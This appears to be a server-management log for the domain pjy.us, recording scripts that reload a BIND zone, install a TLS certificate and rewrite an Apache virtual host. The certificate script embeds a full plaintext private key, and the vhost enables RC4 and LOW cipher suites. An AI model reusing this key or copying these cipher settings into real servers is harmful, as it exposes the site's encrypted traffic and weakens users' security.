MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-31 06:00:06: 

PUT: /tmp/pkp158067

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2025-12-31 06:00:06: 

chmod 755 /tmp/pkp158067; /tmp/pkp158067; rm /tmp/pkp158067

2025-12-31 06:00:10: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2025-12-31 06:00:10: 

PUT: /tmp/pkp504502

#!/bin/bash
rndc reload pjy.us 2>&1


2025-12-31 06:00:10: 

chmod 755 /tmp/pkp504502; /tmp/pkp504502; rm /tmp/pkp504502

2025-12-31 06:00:10: 


zone reload up-to-date


2025-12-31 06:00:22: Establishing a connection
2025-12-31 06:00:22: 

PUT: /tmp/pkp910554

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb.crt

cat > $temp_file <<'endmsg'
04:47:de:e0:75:06:0e:2d:af:6a:43:32:28:28:df:02

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBlGsPY0n/u6/tczpijPN+ZLFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjMxMDUwMTUxWhcNMjYwMzMxMDUwMTUwWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCjYFQTXZQg
43x/4+hTRvVdzvkocJSqkARRJIw71SaymCgFL9TWdtA5PnROZXZGEbQ76NHcdQln
SNCdNQwLqfi+svrzKADyV6U9xr5DB8u0LBIfhO2Bzf9REpcy3DGelzn97qVoqtbU
uGZZZlgcTuR6ikHVCurrY0twz+8B4L63GAU+v3BWe8SSrgSOCRe17W8EXbwm6fyv
f8OxX2Ff2QYmqGdBIRpegEd31pM31gnGx1NOQ/wsUyZE81a+7en7jt/9d4BurEBL
ZKxLhLqwlD0/6oqQcUSdIG2hTGtWgjAc6pRgScer6xduVybjzvmep84qz0BU1vYL
O/76YL5I3GoNAgMBAAGjggIoMIICJDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFI/E
S40AvdEt95RDVwGSf/L0cFy6MB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzcwLmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2AA5XlLzzrqk+Mxss
mQez95Dfm8I9cTIl3SGpJaxhxU4hAAABm3L+NxUAAAQDAEcwRQIgCsqlaGrzvjQJ
bbq4XwTYBgfi3OBQde5/mDCJ8fg0BYECIQC/OGOy8k1VhR3DJ5Ewi4s7sgJF+O4v
6JUPMY2pjOh09QB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHiAAAB
m3L+N8sACAAABQAFotPhBAMARzBFAiBNpxLuUs35St6dfAvsdJ299yoMPQ/D0KIj
hnhZUvR1MQIhALP3KM6Rh9VfOl8AniIakXug9DXexpsGvOWGubhDTYPtMA0GCSqG
SIb3DQEBCwUAA4IBAQCcqz+ap4lFaNB1+Re71yY+8dGPQYzv6BMsikoLqTiqqfuK
ZGQWXRSh9lkfQTcREXSdGHIOODvq17rFCi8DOPbvTesqVdzt3I3mEJLkUMroIc07
lN/SGXGZ6cUzWX5PyjZ3fQ0EbXU3Z1BSiAqPrpabKOzITQprCqS9S1OmnX6h5LRo
YDHiDmetNLupYfUVb6wr2I2sMX+z+ukTmXDWbr7bomM75SOrbPIfC7X8vZseLwmQ
NkOMqbhmaRs5+d/l0s361v/eZxbTTK7HAbQz2alzf3CeIQPQ50a4dM0/Sf0+Q3Rz
Fq3iUaLhqd5U8911FAOOWjMPri0qeojHZB2Z6f2u
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCjYFQTXZQg43x/
4+hTRvVdzvkocJSqkARRJIw71SaymCgFL9TWdtA5PnROZXZGEbQ76NHcdQlnSNCd
NQwLqfi+svrzKADyV6U9xr5DB8u0LBIfhO2Bzf9REpcy3DGelzn97qVoqtbUuGZZ
ZlgcTuR6ikHVCurrY0twz+8B4L63GAU+v3BWe8SSrgSOCRe17W8EXbwm6fyvf8Ox
X2Ff2QYmqGdBIRpegEd31pM31gnGx1NOQ/wsUyZE81a+7en7jt/9d4BurEBLZKxL
hLqwlD0/6oqQcUSdIG2hTGtWgjAc6pRgScer6xduVybjzvmep84qz0BU1vYLO/76
YL5I3GoNAgMBAAECggEAAUcRET+zl1hAEn31RKVy6MNkFmle+EB9ECdhg1xE27Ot
6HB50R2HvlLbNPu9I4oi5y8IaRlvM+QRYZFXIUY4gEFFDh67dymxTJzfwwVuFeAc
Wiu/cbrrKrajAQ5QwwU6ul4h5AImAO7aOgu/V6VUSxMGtcRKlwGlRuIRY+neg+8E
dGNLNaiczIaP3Vv33gCPwzZJKzyrH/LAbx6OjgL3KMda8IJwOuy128aD/lBOZT8r
jvSi4p8pl1U+c4qWEoOT1ntJa9Mh5xGQYjMO1Q1g1YyIDMD9/DV3UqDez2qGmoSL
RZkTyPHIwo7Ov73+cCvMzKga2NVM8vfvSPL9/jzGMQKBgQDRsVUQ756G+LttmGE6
8bGpcp47mi6Kcboiimk0hag4kpWPNRbq5ta8bk4z4P6eRjt7Deq2O2jGiAyh8pmS
dQtIbnpP//xA0zp0EL0Pv1iGliL3ti8V7mrCgFmaGHO9LiydjGLDl4J0+R7AA/j/
np0DHaJ3+f/9QOAj32MEj7fZeQKBgQDHdJDJUnkcEKa393zKjJLN7KKXBDJmMdhr
hN/cJZtdEPHEYkRCRH3xsa5zZ6zbXcwhHgjuZccNUhaEc+WkpmhxUPy8/UV8/wzF
tbBssrBoBsGHuIU/UNNfp7hns8YChUVv43ZvNtcspuNU3fdaksefnZTt2WRxScre
6ObG2HqENQKBgQCN3T1B0fscMVcMVFUjfbTGgMbQaAUooLxe9ekrIWmnrHQGiNJS
ZY3NuYqqyoM4LSe8nrO2SgcemZiCUBDZ5tmVTTjuuq68ZKtdLp3Z84g+tYA+ukCs
w7nykMcN25Eh4gVJKVsAHJaj8I5/NbDVr0dmfjwWk0o+2g9J9a2Vvm2RcQKBgQC0
sJH2AEP9O8x9PrSLnjvkV6qX2tJ5qFBiXzaZ7mvILPCJM2iZDAl4qrnajKKY/GlP
2zDGH+fq1mHVzlTNC3/0oCTGZT/NVBVTCxzv7BVJuE0c0fnMeUF0F7JEKCWK5QcZ
rNv/NpRKPEoX+Rn7sJstq4lezCFlTC+AL0fZ/gVHvQKBgB8lFbPJOiglYop0sE3y
xIKqiIDDheDx/2TWJWMtPCUYd/HV5s2L6IqyqEAD0kUQQPZgkm/U1xb3HTaaYVZu
FeHAYX3ahsyRGM4Vgs4l+s4/m5jw0/7JISCTh1elazvmUkAb9h5fp7atSzOoEfPJ
ZKlJA2mLjPYFFKB0vR6b/OMj
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-31 06:00:22: 

chmod 755 /tmp/pkp910554; /tmp/pkp910554; rm /tmp/pkp910554

2025-12-31 06:00:22: 


dir=/etc/ssl/certs


2025-12-31 06:00:22: 

PUT: /tmp/pkp917710

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_www_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-31 06:00:22: 

chmod 755 /tmp/pkp917710; /tmp/pkp917710; rm /tmp/pkp917710

2025-12-31 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_www_us.conf 34

<VirtualHost *:80>
    ServerName	pjy.us
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.pjy.us
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	pjy.us
    ServerAlias	www.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-31 06:00:22: 

PUT: /tmp/pkp312331

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_www_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_www_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	pjy.us
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.pjy.us
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	pjy.us
    ServerAlias	www.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_www_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_www_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_www_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_www_us.conf= 1'
fi


2025-12-31 06:00:22: 

chmod 755 /tmp/pkp312331; /tmp/pkp312331; rm /tmp/pkp312331

2025-12-31 06:00:22: 




2025-12-31 06:00:22: 

PUT: /tmp/pkp489878

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
